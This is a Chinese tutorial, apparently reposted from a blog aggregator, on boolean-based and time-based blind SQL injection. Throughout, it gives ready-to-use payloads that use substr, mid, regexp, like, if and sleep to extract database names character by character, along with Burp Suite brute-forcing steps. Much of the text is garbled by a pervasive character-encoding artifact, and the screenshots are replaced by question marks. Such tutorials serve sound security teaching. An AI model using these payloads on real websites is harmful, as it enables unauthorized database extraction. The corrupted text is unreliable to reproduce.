SQL注入-盲注(布尔盲注与时间盲注)
目錄
一、什么是盲注
二、盲注的分類
三、利用盲注的前提條件
四、盲注的優(yōu)缺點(diǎn)
五、基于布爾類型的盲注
1.什么情況下使用布爾類型的盲注
?2.使用布爾類型盲注的操作步驟:
3.布爾類型盲注的操作過程(以獲取當(dāng)前數(shù)據(jù)庫為例)
?4.使用其他函數(shù)進(jìn)行布爾類型的盲注(演示獲取當(dāng)前數(shù)據(jù)庫)
4.1? left()函數(shù):
4.2 mid()函數(shù):
4.3 正則表達(dá)式 regexp :?
4.4 like函數(shù):
4.5 if語句?:
?六、基于時(shí)間類型的盲注
1.何時(shí)利用時(shí)間類型的盲注:
2.時(shí)間類型盲注的注意事項(xiàng)
3.基于時(shí)間盲注的演示?
一、什么是盲注
盲注就是在sql注入過程中,sql語句執(zhí)行select之后,可能由于網(wǎng)站代碼的限制或者apache等解析器配置了不回顯數(shù)據(jù),造成在select數(shù)據(jù)之后不能回顯到前端頁面。此時(shí),我們需要利用一些方法進(jìn)行判斷或者嘗試,這個(gè)判斷的過程稱之為盲注。
通俗的講就是在前端頁面沒有顯示位,不能返回sql語句執(zhí)行錯(cuò)誤的信息,輸入正確和錯(cuò)誤返回的信息都是一致的,這時(shí)候我們就需要使用頁面的正常與不正常顯示來進(jìn)行sql注入。
二、盲注的分類
- 基于布爾類型的盲注
- 基于時(shí)間類型的盲注
三、利用盲注的前提條件
首先頁面沒有顯示位(如果有顯示位可以選擇union聯(lián)合查詢),并且沒有返回sql語句的執(zhí)行錯(cuò)誤信息。
四、盲注的優(yōu)缺點(diǎn)
優(yōu)點(diǎn):不需要顯示位和出錯(cuò)信息。
缺點(diǎn):速度慢,耗費(fèi)時(shí)間長(可以用到bp等工具)。
五、基于布爾類型的盲注
1.什么情況下使用布爾類型的盲注
- 沒有返回SQL執(zhí)行的錯(cuò)誤信息
- 錯(cuò)誤與正確的輸入,返回的結(jié)果只有兩種
?錯(cuò)誤頁面:
正確頁面:
?2.使用布爾類型盲注的操作步驟:
3.布爾類型盲注的操作過程(以獲取當(dāng)前數(shù)據(jù)庫為例)
在SQL注入過程中,由于沒有顯示位于報(bào)錯(cuò)信息,所以會用到截取字符串函數(shù)進(jìn)行數(shù)據(jù)的提取,所往往需要一個(gè)一個(gè)字符去猜。
第一步:獲取當(dāng)前數(shù)據(jù)庫的長度
payload為:lili' and length((select database()))=7--+
查看返回結(jié)果(需要自己試,也可以是用bp工具,也可以使用“>”,“<”符號):
當(dāng)輸入其他數(shù)字時(shí),查看返回結(jié)果:
?第二步:獲取當(dāng)前數(shù)據(jù)庫庫名(獲取前三個(gè)字符,數(shù)據(jù)量太大,需要用到bp工具)
開啟burp suite
payload為:lili' and substr((select database()),1,1)='a'--+
substr為截取字符串函數(shù),第一個(gè)參數(shù)為我們的SQL語句,第二個(gè)參數(shù)1表示從第一個(gè)字符開始,第三個(gè)參數(shù)表示截取一個(gè)字符。并且該字符為a。
通過bp工具暴力破解
?
?
?
?通過上述方法即可獲得當(dāng)前數(shù)據(jù)庫庫名。
3.2獲取所有數(shù)據(jù)庫庫名
第一步,獲取字符長度
payload為:name=lili' and ?length((select group_concat(schema_name)from information_schema.schemata))=1--+
開啟bp
?
?
?第二步,獲取所有數(shù)據(jù)庫庫名
這邊可以選擇狙擊手模式(sniper)也可以選擇集束炸彈模式(cluster bomb),狙擊手模式需要手動修改參數(shù),集束炸彈模式對電腦配置要求比較高,此處演示集束炸彈模式
?
?
?
?根據(jù)破解的結(jié)果可以知道相應(yīng)的答案
?4.使用其他函數(shù)進(jìn)行布爾類型的盲注(演示獲取當(dāng)前數(shù)據(jù)庫)
4.1? left()函數(shù):
語法:left (string,n) string為要截取的字符串,n為長度。
payload:name=lili' and left((select database()),1)='p'--+
4.2 mid()函數(shù):
語法:mid(string, start[, length]) column_name為要提取字符的字段,start為開始截取位置(起始值是1),length為截取的長度(可選,默認(rèn)余下所有字符)
char(x)函數(shù):將x的值轉(zhuǎn)為所對應(yīng)的字符
payload:name=lili' and mid((select database()),1,1)=char(112)--+
4.3 正則表達(dá)式 regexp :?
正則表達(dá)式語法: regexp ^[a-z] 表示字符串中第一個(gè)字符是在 a-z范圍內(nèi)。regexp ^a 表示字符串第一個(gè)字符是a。regexp ^ab 表示字符串前兩個(gè)字符是ab。
payload:name=lili' and ?(select database()) regexp '^p'--+?
4.4 like函數(shù):
語法:Like 'a%'表示字符串第一個(gè)字符是a。
???????????Like 'ab%'表示字符串前兩個(gè)字符是ab。
%表示為任意值
payload:name=lili' and ?(select database()) like 'p%'--+
4.5 if語句?:
語法:if(判斷條件,正確返回的值,錯(cuò)誤返回的值)
注意數(shù)據(jù)庫中的if與后端if不一樣
payload:name=lili' and 1= if(((select database())like 'p%'),1,0)--+?
表示如果if語句中的第一個(gè)參數(shù)為真,則輸出第一個(gè)值1,不為真輸出第二個(gè)值0;
?六、基于時(shí)間類型的盲注
1.何時(shí)利用時(shí)間類型的盲注:
頁面上沒有顯示位和SQL語句執(zhí)行的錯(cuò)誤信息,正確執(zhí)行和錯(cuò)誤執(zhí)行的返回界面一樣,此時(shí)需要使用時(shí)間類型的盲注。
時(shí)間型盲注與布爾型盲注的語句構(gòu)造過程類似,通常在布爾型盲注表達(dá)式的基礎(chǔ)上使用IF語句加入延時(shí)語句來構(gòu)造,由于時(shí)間型盲注耗時(shí)較大,通常利用腳本工具來執(zhí)行,在手工利用的過程中較少使用。
2.時(shí)間類型盲注的注意事項(xiàng)
3.基于時(shí)間盲注的演示?
1.通過時(shí)間線判斷sql語句是否執(zhí)行
?2.通過添加sleep函數(shù)判斷:
payload:name=lili'and sleep(5)--+? ? 執(zhí)行成功時(shí)間線為5s
?payload:name=lili''and sleep(5)--+? ? 執(zhí)行失敗時(shí)間線為32ms
3.通過時(shí)間盲注獲取當(dāng)前數(shù)據(jù)庫
第一步:
首先需要獲取數(shù)據(jù)庫長度
payload:name=lili'and if(length((select database()))=7,sleep(5),0)--+
根據(jù)時(shí)間線判斷可知數(shù)據(jù)庫的字符長度為7
?第二步:
獲取當(dāng)前數(shù)據(jù)庫的庫名
payload:name=lili'and if(substr((select database()),1,1)='p',sleep(5),0)--+
根據(jù)時(shí)間線判斷當(dāng)前數(shù)據(jù)庫的庫名的第一個(gè)符為‘p’
?也可以使用上邊布爾類型盲注的其他函數(shù)執(zhí)行。
?
?
?
?
總結(jié)
以上是生活随笔為你收集整理的SQL注入-盲注(布尔盲注与时间盲注)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 重装Nodejs后,webstorm代码
- 下一篇: 一台电脑同时启动多个java_如何在一台